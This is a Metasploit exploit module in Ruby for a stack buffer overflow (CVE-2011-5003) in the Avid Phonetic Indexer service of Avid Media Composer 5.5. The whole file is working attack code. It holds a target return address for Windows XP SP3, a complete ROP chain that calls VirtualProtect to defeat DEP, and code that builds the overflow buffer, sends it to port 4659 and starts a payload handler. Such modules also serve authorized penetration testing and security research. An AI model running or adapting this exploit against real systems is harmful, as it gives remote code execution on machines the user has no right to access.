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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow",
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in process
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        AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
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        5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
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        it standalone it will run on port 4660.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'vt [[email protected]]',
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        ],
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      'References'     =>
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        [
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          ['CVE', '2011-5003'],
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          ['OSVDB', '77376'],
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          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
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        ],
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      'Payload'        =>
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        {
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          'Space'    => 1012,
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          'BadChars' => "\x00\x09\x0a\x0d\x20",
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          'DisableNops' => true,
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          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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          'EncoderOptions' =>
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            {
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              'BufferRegister' => 'EAX',
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            }
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [
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            'Windows XP Professional SP3',
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            {
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              'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
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            }
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          ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-11-29',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(4659),
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      ])
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  end
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  def exploit
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    rop_gadgets = [
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      # ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
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      # a non-sayonara ROP would be super easy too, I'm just lazy :)
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      0x7C344CC1,  # pop eax;ret;
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      0x7C3410C2, # pop ecx;pop ecx;ret;
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      0x7C342462, # xor chain; call eax {0x7C3410C2}
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      0x7C38C510, # writeable location for lpflOldProtect
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      0x7C365645, # pop esi;ret;
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      0x7C345243, # ret;
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      0x7C348F46, # pop ebp;ret;
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      0x7C3487EC, # call eax
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      0x7C344CC1, # pop eax;ret;
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      0xfffffbfc, # {size}
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      0x7C34D749, # neg eax;ret; {adjust size}
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      0x7C3458AA, # add ebx, eax;ret; {size into ebx}
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      0x7C3439FA, # pop edx;ret;
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      0xFFFFFFC0, # {flag}
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      0x7C351EB1, # neg edx;ret; {adjust flag}
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      0x7C354648, # pop edi;ret;
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      0x7C3530EA, # mov eax,[eax];ret;
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      0x7C344CC1, # pop eax;ret;
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      0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
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      0x7C355AEB, # sub eax,30;ret;
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      0x7C378C81, # pushad; add al,0xef; ret;
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      0x7C36683F, # push esp;ret;
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    ].pack("V*")
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    # need to control a buffer reg for the msf gen'd payload to fly. in this case:
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    bufregfix = "\x8b\xc4"       # MOV EAX,ESP
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    bufregfix += "\x83\xc0\x10"  # ADD EAX,10
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    connect
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    sploit  = ''
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    sploit << rand_text_alpha_upper(216)
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    sploit << [target.ret].pack('V*')
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    sploit << "A"*732  #This avoids a busted LoadLibrary
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    sploit << rop_gadgets
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    sploit << bufregfix
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    sploit << "\xeb\x09"
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    sploit << rand_text_alpha_upper(9)
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    sploit << payload.encoded
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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